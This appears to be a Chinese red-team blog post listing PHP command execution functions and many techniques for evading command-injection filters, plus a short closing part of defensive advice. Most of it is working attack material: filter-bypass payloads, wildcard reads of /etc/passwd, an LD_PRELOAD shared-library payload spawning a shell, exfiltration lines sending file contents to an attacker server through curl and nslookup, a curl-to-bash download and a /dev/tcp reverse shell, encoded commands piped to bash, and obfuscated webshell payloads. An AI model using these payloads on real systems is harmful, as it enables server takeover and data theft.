// 红队渗透 · 2026-08-01

PHP命令执行函数Bypass技巧

引言:命令注入的本质

命令注入(Command Injection)是Web安全领域最危险的漏洞之一,它允许攻击者在目标服务器上执行任意系统命令。PHP作为广泛使用的服务器端脚本语言,提供了丰富的命令执行函数,这些函数在给开发者带来便利的同时,也成为了攻击者的重要目标。

本文将系统梳理PHP中常见的命令执行函数,并深入探讨各种绕过安全防护的技巧。无论你是安全研究员、渗透测试人员,还是希望加固自己应用安全的开发者,这份指南都将为你提供有价值的参考。


第一部分:PHP命令执行函数大全

1.1 基础执行函数

system()

system('whoami');

最常用的命令执行函数,直接输出结果并返回最后一行。

exec()

exec('ls -la', $output);
// $output是一个数组,包含命令输出的每一行

特点:不直接输出结果,而是返回最后一行,完整结果存储在数组参数中。

passthru()

passthru('ping -c 4 8.8.8.8');

用途:适合执行二进制数据输出,如图像、音频等。

shell_exec()

$result = shell_exec('ls -la');

特点:无回显,需要通过echo等函数输出结果。

反引号运算符

$result = `ls -la`;  // 等同于shell_exec()

popen()

$handle = popen('ls -la', 'r');
while (!feof($handle)) {
    echo fgets($handle);
}
pclose($handle);

用途:建立进程管道,可进行读写操作。

proc_open()

$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w")
);
$process = proc_open('ls -la', $descriptorspec, $pipes);
echo stream_get_contents($pipes[1]);
proc_close($process);

功能:更强大的进程控制,可同时处理输入输出。

pcntl_exec()

pcntl_exec('/bin/ls', ['-la']);

限制:执行二进制文件,当前进程会被替换。

1.2 回调执行函数

除了直接命令执行函数,PHP还提供了多种间接执行方式:

// 回调函数执行
preg_replace('/.*/e', 'system("whoami")', '');  // PHP 5.5.0+ 废弃
ob_start('system');

第二部分:基础绕过技巧

2.1 命令拼接符

; 顺序执行(在Linux和Windows均有效)
& 后台执行,无论前一个命令成功与否
&& 逻辑与,前一个成功才执行后一个
| 管道符,将前一个命令的输出作为后一个命令的输入
|| 逻辑或,前一个失败才执行后一个

实战示例:

// 输入:ip=127.0.0.1; whoami
system("ping -c 4 " . $_GET['ip']);

2.2 空格绕过技巧

过滤空格时,可以用以下方法代替:

# 大括号语法
{cat,flag.php}

# 内部字段分隔符(IFS)
cat$IFSflag.php
cat${IFS}flag.php
cat$IFS$9flag.php

# 重定向符
cat<flag.php
cat<>flag.php

# URL编码
%09(Tab键)
%20(空格)

# 换行符
cat%0aflag.php

2.3 文件名过滤绕过

# 通配符
cat fl*?
cat f???.???
cat /???/??t /???/???s?wd  # 执行 /bin/cat /etc/passwd

# 引号
cat f'l'ag.php
cat f""lag.php

# 反斜杠
cat f\l\ag.php

# 特殊变量
cat flag.p$1hp
cat f${PATH:5:1}ag.p${PATH:15:1}p
# 从PATH环境变量中截取字符

# 内联执行
a=fl;b=ag;c=.p;d=hp;cat $a$b$c$d

2.4 读取文件命令替代

当cat被过滤时,可使用其他命令:

tac        # 反向显示(行序反转)
more       # 分页查看
less       # 分页查看
head       # 查看文件头部
tail       # 查看文件尾部
nl         # 显示行号
od -A -d -c # 八进制显示
xxd        # 十六进制显示
sort       # 排序显示
uniq       # 去重显示
file -f    # 读取文件内容
grep '' flag.php  # 匹配空字符串

第三部分:高级Bypass技术

3.1 LD_PRELOAD绕过

原理:通过设置LD_PRELOAD环境变量,让系统预加载自定义的.so文件,从而劫持系统函数调用。

条件:

  1. 能上传自己的.so文件
  2. 能控制环境变量(如putenv函数未被禁用)

实现步骤:

// payload.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int getuid() {
    system("/bin/sh");
    return 0;
}
# 编译
gcc -shared -fPIC payload.c -o payload.so

# PHP利用代码
<?php
putenv("LD_PRELOAD=/tmp/payload.so");
mail("a@b.c", "sub", "msg", "");
?>

3.2 无回显命令执行技巧

当命令执行无回显时,可以采用以下方法:

1. 延迟注入(盲注)

# 通过响应时间判断
cat flag.php | grep a && sleep 5

2. 逐字符提取

# 提取第一个字符
cat flag.php | cut -c 1

# 配合判断
if [ $(cat flag.php | cut -c 1) == "f" ]; then sleep 5; fi

3. 外带数据

# DNS外带
nslookup `cat flag.php`.your-server.com

# HTTP外带
curl http://your-server.com/`cat flag.php`

4. 利用awk

# 逐行读取
cat flag.php | awk NR==1  # 输出第一行
cat flag.php | awk NR==2  # 输出第二行

3.3 长度限制绕过

长度限制为7字符

利用>和>>逐步构建命令:

# 基础文件创建
> cat
> flag.php
ls -t > s
sh s

核心技巧:>创建文件,>>追加内容,ls -t按时间排序。

长度限制为5字符

更极端的绕过方式:

# 利用*通配符和rev反转
> dir
> ht- > sl
> * > v
rev v > x
sh x

长度限制为4字符

# 结合curl下载远程payload
curl |ip|bash
# 将命令转换为十六进制
echo "bash -i >& /dev/tcp/ip/port 0>&1" | base64

3.4 编码绕过

Hex编码

echo "63617420666c61672e706870" | xxd -r -p | bash

Base64编码

echo "Y2F0IGZsYWcucGhw" | base64 -d | bash

printf解码

printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70" | bash

第四部分:无参数RCE技术

4.1 getallheaders()利用

<?php
print_r(pos(getallheaders()));
// 在HTTP头中注入系统命令
?>

// 请求示例
GET /?cmd=system('ls') HTTP/1.1
Host: target.com
cmd: system('ls')

4.2 get_defined_vars()利用

<?php
eval(end(pos(get_defined_vars())));
// URL: ?cmd=system('ls');
?>

4.3 Session ID利用

<?php
show_source(session_id(session_start()));
// 设置PHPSESSID为文件路径,如../../flag.php
?>

4.4 目录操作函数链

<?php
// 获取当前目录
print_r(scandir(getcwd()));

// 读取根目录
print_r(scandir(dirname(dirname(getcwd()))));

// 获取/字符
$slash = strrev(crypt(serialize(array())))[0];
?>

第五部分:高级字符限制绕过

5.1 仅数字和字母

PHP中可以利用数组和自增特性:

<?php
$_=[];
$__=$_;
$_=~$_;
// 利用PHP的字符串操作特性
?>

5.2 特殊符号被过滤

短标签绕过:

<?=phpinfo();?>

GET方式提交:

?><?=`{${~"command"}[?]}`?>

5.3 $符号被过滤

<?php
// PHP 7以下
(call_user_func)(system,whoami);
?>

5.4 全部字母数字被过滤

异或绕过(PHP 5):

<?php
$_=(''^'[').('"'^'(').('"'^'/').('^'^'`').('('^'[').('|'^'$').('{'^'/').('"'^'(');
$__=('!'^'@').('"'^'(').('"'^'*').('('^'~').('['^'+').('{'^'/');
$___=$$__;
$___($_[_]);
?>

取反绕过:

<?php
$__=~urldecode('%9E%8C%8C%9A%8D%8B'); // ~system
$___=~urldecode('%97%8B%9A%9C%90%91%93%8B%90%96'); // ~_POST
$__($$___[_]);
?>

自增绕过:

<?php
$_=[]; // Array
$__=$_; // Array
$_=$_[$__]; // 0
$_++;$_++; // 2
?>

第六部分:实战场景与防护建议

6.1 常见WAF绕过技巧

  1. 双重编码
  2. 大小写混淆
  3. 添加注释
  4. 利用协议特性

6.2 防护措施

输入验证:

// 白名单验证
$allowed_commands = ['ping', 'traceroute'];
if (!in_array($command, $allowed_commands)) {
    die('Invalid command');
}

输出转义:

$command = escapeshellcmd($_GET['cmd']);
$output = shell_exec($command);

禁用危险函数:

disable_functions = system,exec,passthru,shell_exec,popen,proc_open

6.3 安全编码实践

// 推荐:使用参数化或预定义选项
$host = $_GET['host'];
if (filter_var($host, FILTER_VALIDATE_IP)) {
    $output = shell_exec("ping -c 4 " . escapeshellarg($host));
}

结语

命令注入防御是一场持续的军备竞赛。攻击者不断发现新的绕过技巧,而防御者则需要持续更新防护策略。理解这些技术细节不仅是安全研究者的需求,更是每一位开发者的必修课。

关键原则:

  1. 永远不要信任用户输入
  2. 尽量使用内置API代替系统命令
  3. 多层次防御比单一防护更可靠
  4. 保持系统、框架和库的及时更新

技术在不断演进,攻防双方都在进步。保持学习、保持警惕,才是保障系统安全的根本之道。

原文 https://blog.csdn.net/2301_79518550/article/details/163399185